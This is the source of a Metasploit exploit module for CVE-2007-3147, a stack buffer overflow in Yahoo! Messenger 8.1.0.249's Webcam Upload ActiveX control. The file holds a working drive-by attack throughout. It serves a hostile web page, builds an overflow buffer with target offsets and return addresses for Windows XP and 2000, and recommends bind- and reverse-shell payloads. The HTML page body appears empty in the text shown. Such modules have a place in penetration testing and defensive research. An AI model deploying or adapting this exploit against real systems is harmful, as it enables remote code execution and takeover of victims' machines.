##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX
Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
By sending a overly long string to the "Server()" method, and then calling
the "Send()" method, an attacker may be able to execute arbitrary code.
Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
yield for the best results.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2007-3147' ],
[ 'OSVDB', '37082' ],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],
[ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]
],
'DisclosureDate' => 'Jun 5 2007',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500)
# Build out the message
content = %Q|
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end